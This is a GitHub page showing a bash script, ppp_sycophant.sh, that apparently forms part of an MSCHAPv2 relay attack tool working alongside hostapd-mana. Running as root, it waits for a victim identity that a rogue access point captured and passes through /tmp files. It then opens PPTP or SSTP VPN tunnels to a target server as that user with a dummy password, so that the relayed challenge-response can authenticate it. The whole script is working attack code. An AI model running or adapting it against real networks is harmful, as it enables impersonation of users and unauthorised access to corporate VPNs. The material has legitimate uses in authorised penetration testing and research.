-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathppp_sycophant.sh
executable file
·89 lines (74 loc) · 2.45 KB
/
ppp_sycophant.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/bin/bash
if (( $EUID != 0 )); then
echo "SYCOPHANT : Please run as root"
exit
fi
supplicant="sstpc"
target=''
print_usage(){
printf "Usage: sudo ./ppp_sycophant.sh -t <target>\n"
}
# PPTP TUNNEL:
# pptpsetup --create my_tunnel --server $target --username $username --password IDONTCARE
# pon my_tunnel debug dump logfd 2 nodetach
# ------
# SSTP TUNNEL (Seems to work with default mikrotik)
# $supplicant --log-stderr --cert-warn --user $username --password IDONTCARE --log-level 3 $target usepeerdns require-mschap-v2 noauth noipdefault defaultroute refuse-eap debug logfd 2 novj
# ------
while getopts 't:h' flag; do
case "${flag}" in
t) target="${OPTARG}" ;;
h) print_usage
exit 1 ;;
*) print_usage
exit 1 ;;
esac
done
clean_up(){
rm /tmp/SYCOPHANT_P1ID
rm /tmp/SYCOPHANT_P2ID
rm /tmp/CHALLENGE
rm /tmp/CHALLENGE_LOCK
rm /tmp/RESPONSE
rm /tmp/RESPONSE_LOCK
rm /tmp/SYCOPHANT_STATE
rm /tmp/VALIDATE
return
}
exit_time(){
printf "\n"
printf "SYCOPHANT : Cleaning Up State\n"
clean_up &>/dev/null
printf "SYCOPHANT : Stopping dhcpcd\n"
# dhclient -x -r $interface
printf "SYCOPHANT : Exiting\n"
kill 0
}
# ERR is triggered if rm file doesnt exist.
# trap "exit" INT TERM ERR
trap "exit" INT TERM
trap "exit_time" EXIT
clean_up &>/dev/null
printf "SYCOPHANT : Target set to ${target}\n"
printf "SYCOPHANT : Instructing Mana to get Identities\n"
echo -n "I" > /tmp/SYCOPHANT_STATE
printf "SYCOPHANT : Waiting for Identity\n"
while true
do
if [[ -s /tmp/SYCOPHANT_P2ID ]]; then
if [[ -s /tmp/SYCOPHANT_P1ID ]]; then
username=$(cat /tmp/SYCOPHANT_P2ID)
printf "SYCOPHANT : RUNNING \"$sstpc --log-stderr --cert-warn --user $username --password IDONTCARE --log-level 3 ${target} usepeerdns require-mschap-v2 noauth noipdefault defaultroute refuse-eap debug logfd 2\"\n"
# $supplicant --log-stderr --cert-warn --user $username --password IDONTCARE --log-level 3 --log-lineno $target usepeerdns require-mschap-v2 noauth noipdefault defaultroute nodeflate novj refuse-eap debug logfd 2
pptpsetup --create my_tunnel --server $target --username $username --password IDONTCARE
pon my_tunnel debug dump logfd 2 nodetach
break
fi
fi
sleep 0.3
done
# printf "SYCOPHANT : RUNNING \"dhclient $interface\"\n"
# dhclient $interface
echo "We wait 2s to make sure things have relayed"
sleep 6
wait